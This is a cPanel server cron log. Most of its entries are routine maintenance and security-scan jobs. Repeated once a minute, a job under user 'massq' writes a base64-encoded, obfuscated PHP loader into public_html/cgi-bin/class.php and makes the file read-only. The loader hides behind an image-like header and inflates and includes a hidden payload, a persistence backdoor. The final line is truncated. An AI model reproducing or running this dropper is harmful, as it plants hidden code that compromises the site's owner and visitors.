Sep  7 06:19:01 server CROND[28253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:20:01 server CROND[28654]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:20:01 server CROND[28657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:20:01 server CROND[28660]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:20:01 server CROND[28663]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:20:01 server CROND[28661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:20:01 server CROND[28662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:20:01 server CROND[28658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:20:01 server CROND[28666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:20:01 server CROND[28664]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:21:01 server CROND[29500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:21:01 server CROND[29501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:21:01 server CROND[29502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:22:01 server CROND[29869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:22:01 server CROND[29870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:22:01 server CROND[29871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:23:01 server CROND[30358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:23:01 server CROND[30360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:23:01 server CROND[30361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:24:01 server CROND[30755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:24:01 server CROND[30756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:24:01 server CROND[30757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:25:01 server CROND[31137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:25:01 server CROND[31139]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:25:01 server CROND[31141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:25:01 server CROND[31143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:25:01 server CROND[31146]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 06:25:01 server CROND[31147]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:25:01 server CROND[31144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:25:01 server CROND[31148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:26:01 server CROND[31956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:26:01 server CROND[31957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:26:01 server CROND[31958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:27:01 server CROND[32324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:27:01 server CROND[32325]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:27:01 server CROND[32323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:27:01 server CROND[32326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:28:01 server CROND[369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:28:01 server CROND[370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:28:01 server CROND[371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:29:01 server CROND[1022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:29:01 server CROND[1023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:29:01 server CROND[1025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:30:01 server CROND[1911]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:30:01 server CROND[1914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:30:01 server CROND[1916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:30:01 server CROND[1917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:30:01 server CROND[1924]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:30:01 server CROND[1915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:30:01 server CROND[1923]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:30:01 server CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:31:01 server CROND[2810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:31:01 server CROND[2811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:31:01 server CROND[2812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/